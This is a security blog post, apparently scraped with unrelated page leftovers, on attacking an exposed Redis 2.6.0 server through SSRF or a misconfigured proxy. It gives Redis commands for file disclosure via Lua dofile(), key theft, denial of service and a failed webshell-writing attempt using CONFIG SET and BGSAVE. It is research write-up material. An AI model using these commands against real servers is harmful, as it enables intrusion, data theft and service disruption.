Trying to hack Redis via HTTP requests
Trying to hack Redis via HTTP requests
- Context
Imagine than you can access a Redis server via HTTP requests. It could be because of a SSRF vulnerability or a misconfigured proxy. In both situations, all you need is to fully control at least one line of the request. Which is pretty common in these scenarios ;-) Of course, the CLI client 'redis-cli' does not support HTTP proxying and we will need to forge our commands ourself, encapsulated in valid HTTP requests and sent via the proxy. Everything was tested under version 2.6.0. It's old, but that's what the target was using...
- Redis 101
Redis is NoSQL database, which stores everything in RAM as key/value pairs. By default, a text-oriented interface is reachable on port TCP/6379 without authentication. All you need to know right now is that the interface is very forgiving and will try to parse every provided input (until a timeout or the 'QUIT' command). It may only quietly complain via messages like "-ERR unknown command".
- Target identification
When exploiting a SSRF vulnerability or a misconfigured proxy, the first task is usually to scan for known services. As an attacker, I look for services bound to loopback only, using source-based authentication or just plain insecure "because they are not reachable from the outside". And I was quite happy to see these strings in my logs:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
As you can see, the HTTP verb 'GET' is also a valid Redis command, but the number of arguments do not match. And given no HTTP headers match a existing Redis command, there's a lot of "unknown command" error messages.
- Basic interaction
In my context, the requests were nearly fully controlled by myself and then emitted via a Squid proxy. That means that 1) the HTTP requests must be valid, in order to be processed by the proxy 2) the final requests reaching the Redis database may be somewhat normalized by the proxy. The easy way was to use the POST body, but injecting into HTTP headers was also a valid option. Now, just send a few basic commands (in blue):
ECHO HELLO
$
HELLO TIME
*
$ $ CONFIG GET pidfile
*
$
pidfile
$
/var/run/redis.pid SET my_key my_value
+OK GET my_key
$
my_value QUIT
+OK
- We need spaces!
As you may have already noted, the server responds with the expected data, plus some strings like "*2" and "$7". This the binary-safe version of the Redis protocol, and it is needed if you want to use a parameter including spaces. For example, the command 'SET my key "foo bar"' will never work, with or without single/double quotes. Luckily, the binary-safe version is quite straightforward:
- everything is separated with new lines (here CRLF)
- a command starts with '*' and the number of arguments ("*1" + CRLF)
- then we have the arguments, one by one:
- string: the '$' character + the string size ("$4" + CRLF) + the string value ("TIME" + CRLF)
- integer: the ':' character + the integer in ASCII (":42" + CRLF)
- and that's all!
Let's see an example, comparing the CLI client and the venerable 'netcat':
$ redis-cli -h 127.0.0.1 -p set with_space 'I am boring'
+OK
$ echo '*3\r\n$3\r\nSET\r\n$10\r\nwith_space\r\n$11\r\nI am boring\r\n' | nc -n -q 127.0.0.1
+OK
- Reconnaissance
Now that we can easily discuss with the server, a recon phase is needed. A few Redis commands are helpful, like "INFO" and "CONFIG GET (dir|dbfilename|logfile|pidfile)". Here's the ouput of "INFO" on my test machine:
# Server
redis_version:2.6.
redis_git_sha1:
redis_git_dirty:
redis_mode:standalone
os:Linux 3.2.--generic-pae i686
arch_bits:
multiplexing_api:epoll
gcc_version:4.6.
process_id:
run_id:5a29a860ccbe05b43dbe15c0674fb83df0449b25
tcp_port:
uptime_in_seconds:
uptime_in_days:
lru_clock: # Clients
connected_clients:
client_longest_output_list:
client_biggest_input_buf:
blocked_clients: # Memory
used_memory:
[...]
The next step is, of course, the file-system. Redis can execute Lua scripts (in a sandbox, more on that later) via the "EVAL" command. The sandbox allows the dofile() command (WHY???). It can be used to enumerate files and directories. No specific privilege is needed by Redis, so requesting /etc/shadow should give a "permission denied" error message:
EVAL dofile('/etc/passwd')
-ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): /etc/passwd:: function arguments expected near ':' EVAL dofile('/etc/shadow')
-ERR Error running script (call to f_9882e931901da86df9ae164705931dde018552cb): cannot open /etc/shadow: Permission denied EVAL dofile('/var/www/')
-ERR Error running script (call to f_8313d384df3ee98ed965706f61fc28dcffe81f23): cannot read /var/www/: Is a directory EVAL dofile('/var/www/tmp_upload/')
-ERR Error running script (call to f_7acae0314580c07e65af001d53ccab85b9ad73b1): cannot open /var/www/tmp_upload/: No such file or directory EVAL dofile('/home/ubuntu/.bashrc')
-ERR Error running script (call to f_274aea5728cae2627f7aac34e466835e7ec570d2): /home/ubuntu/.bashrc:: unexpected symbol near '#'
If the Lua script is syntaxically invalid or attempts to set global variables, the error messages will leak some content of the target file:
EVAL dofile('/etc/issue')
-ERR Error running script (call to f_8a4872e08ffe0c2c5eda1751de819afe587ef07a): /etc/issue:: malformed number near '12.04.4' EVAL dofile('/etc/lsb-release')
-ERR Error running script (call to f_d486d29ccf27cca592a28676eba9fa49c0a02f08): /etc/lsb-release:: Script attempted to access unexisting global variable 'Ubuntu' EVAL dofile('/etc/hosts')
-ERR Error running script (call to f_1c25ec3da3cade16a36d3873a44663df284f4f57): /etc/hosts:: malformed number near '127.0.0.1'
Another scenario, probably not very common, is calling dofile() on valid Lua files and returning the variables defined there. Here's a hypothetic file /var/data/app/db.conf:
db = {
login = 'john.doe',
passwd = 'Uber31337',
}
And a small Lua script dumping the password:
EVAL dofile('/var/data/app/db.conf');return(db.passwd);
+OK Uber31337
It works on some standard Unix files too:
EVAL dofile('/etc/environment');return(PATH);
+OK /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games EVAL dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR);
+OK /usr/bin/nano
- CPU theft
Redis provides redis.sha1hex(), which can be called from Lua scripts. So you can offload your SHA-1 cracking to open Redis servers. The code by @adam_baldwin is on GitHub and the slides on Slideshare.
- DoS
There's a lot of ways to DoS an open Redis instance, from deleting the data to calling the SHUTDOWN command. However, here's two funny ones:
- calling dofile() without any parameter will read a Lua script from STDIN, which is the Redis console. So the server is still running but will not process new connections until "^D" is hit in the console (or a restart)
- sha1hex() can be overwritten (not only for you, but for every client). Using a static value is one of the options
The Lua script:
print(redis.sha1hex('secret'))
function redis.sha1hex (x)
print('')
end
print(redis.sha1hex('secret'))
On the Redis console:
# First run
e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4 # Next runs
- Data theft
If the Redis server happens to store interesting data (like session cookies or business data), you can enumerate stored pairs using KEYS and then read their values with GET.
- Crypto
Lua scripts use fully predictable "random" numbers! Loot at evalGenericCommand() in scripting.c for details:
/* We want the same PRNG sequence at every call so that our PRNG is
* not affected by external state. */
redisSrand48();
Every Lua script calling math.random() will get the same stream of numbers:
0.17082803611217
0.74990198051087
0.09637165539729
0.87046522734243
0.57730350670279
[...]
- RCE
In order to get remote code execution on an open Redis server, three scenarios were considered. The first one (proven but highly complex) is related to byte-code modification and abuse of the internal VM machine. Not my cup of tea, I'm not a binary guy. The second one is escaping the globals protection and trying to access interesting functions (like during a CTF-like Python escape). Escaping the globals protection is trivial (and documented on StackOverflow!). However, no interesting module is loaded at all, or my Lua skills suck (which is probable). By the way, there's plenty of interesting stuff here.
Let's consider the third scenario, easy and realistic: dumping a semi-controlled file to disk, for example under the Web root and gain RCE through a webshell. Or overwriting a shell script. The only difference is the target filename and the payload, but the methodology is identical. It should be noted that the location of the log file can not be modified after startup. So the only solution is the database file itself. If you are paying attention enough, you should find suprising that a RAM-only database writes to disk. In fact, the database is copied to disk from times to times, for recovery purposes. The backup occurs depending on the configured thresholds, or when the BGSAVE command is called.
The actions to take in order to drop a semi-controlled file are the followings:
- modify the location of the dump file
CONFIG SET dir /var/www/uploads/
CONFIG SET dbfilename sh.php
- insert your payload in the database
SET payload "could be php or shell or whatever"
- dump the database to disk
BGSAVE
- restore everything
DEL payload
CONFIG SET dir /var/redis/
CONFIG SET dbfilename dump.rdb
And then, it's a big FAIL. Redis sets the mode of the dump file to "0600" (aka "-rw-------"). So Apache will not able to read it :-(
- Outro
Even if I wasn't able to execute my own code on this server, researching Redis was fun. And I learned a few tricks, which may be useful next week or later, you never know. Finally, thanks to people who published on Redis security: Francis Alexander, Peter Cawley and Adam Baldwin. And to the Facebook security team, which awarded 20K$ for a misconfigured proxy (the Redis instance was running on "noc.parse.com").
Trying to hack Redis via HTTP requests的更多相关文章
- python mysql redis mongodb selneium requests二次封装为什么大都是使用类的原因,一点见解
1.python mysql redis mongodb selneium requests举得这5个库里面的主要被用户使用的东西全都是面向对象的,包括requests.get函数是里面每次都是实例 ...
- 利用redis写webshell
redis和mongodb我之所见 最近自己在做一些个人的小创作.小项目,其中用到了mongodb和redis,最初可能对这二者没有深入的认识.都是所谓的“非关系型数据库”,有什么区别么? 实际上,在 ...
- 反序列化之PHP原生类的利用
目录 基础知识 __call SoapClient __toString Error Exception 实例化任意类 正文 文章围绕着一个问题,如果在代码审计中有反序列化点,但是在原本的代码中找不到 ...
- docker+redis安装与配置,主从+哨兵模式
docker+redis安装与配置 docker安装redis并且使用redis挂载的配置启动 1.拉取镜像 docker pull redis:3.2 2.准备准备挂载的目录和配置文件 首先在/do ...
- 009-docker-安装-redis:5.0.3
1.搜索镜像 docker search redis 2.拉取合适镜像 docker pull redis:5.0.3 docker images 3.使用镜像 docker run -p 6379: ...
- 16、Redis手动创建集群
写在前面的话:读书破万卷,编码如有神 --------------------------------------------------------------------------------- ...
- 14、Redis的复制
写在前面的话:读书破万卷,编码如有神 --------------------------------------------------------------------------------- ...
- redis sentinels哨兵集群环境配置
# Redis configuration file example. # # Note that in order to read the configuration file, Redis mus ...
- Redis之配置文件redis.conf
解读下 redis.conf 配置文件中常用的配置项,为不显得过于臃长,已选择性删除原配置文件中部分注释. # Redis must be started with the file path as ...
随机推荐
- 【iCore3 双核心板_FPGA】实验十七:基于I2C总线的ARM与FPGA通信实验
实验指导书及代码包下载: http://pan.baidu.com/s/1dFqddMp iCore3 购买链接: https://item.taobao.com/item.htm?id=524229 ...
- angularJs模糊查询
html代码 <!DOCTYPE html><html> <head> <meta charset="UTF-8"> <tit ...
- JavaScript显示当前时间的代码
方法一: <script type="text/javascript"> function startTime() { //获取当前系统日期 var today=new ...
- Flink - Checkpoint
Flink在流上最大的特点,就是引入全局snapshot, CheckpointCoordinator 做snapshot的核心组件为, CheckpointCoordinator /** * T ...
- Wordpress去除管理员工具条
想去掉这条东西有多种方式,个人比较喜欢这个,灵活~ 打开用户,在用户选项里,把这个勾走.
- Oracle序列和索引
序列和索引 一.序列 1.序列的概念: 序列(Sequence)是用来生成连续的整数数据的对象.它常常用来作为主键的增长列,可以升序,也可以降序. 2.创建序列: 语法:创建序列 ...
- sql 在not in 子查询有null值情况下经常出现的陷阱
如果下:TempSalesPriceFixedValues表和SalesPriceFixedValues表,要求查询出在TempSalesPriceFixedValues表中且不在SalesPrice ...
- 简单5步说清App软件在线开发、App制作多少钱?
开发制作一款App,所有人都会首先关心开发一款App多少钱这个问题.从网上的信息来看,花费个几十万是很正常的事情,甚至有人说要花上百万才能制作出一款App.那么App软件的开发制作到底和什么有关?怎么 ...
- grub paramiter & menu.list
在Linux中,给kernel传递参数以控制其行为总共有三种方法: 1.build kernel之时的各个configuration选项. 2.当kernel启动之时,可以参数在kernel被GRUB ...
- 大数据导致DataReader.Close超时的异常
公司一个数据抓取的程序,数据量极大,读取数据的用IDataReader的Read方法来进行数据处理,在测试的时候我想跑一部分数据后跳出循环,即break; 然后关闭datareader,但是在执行da ...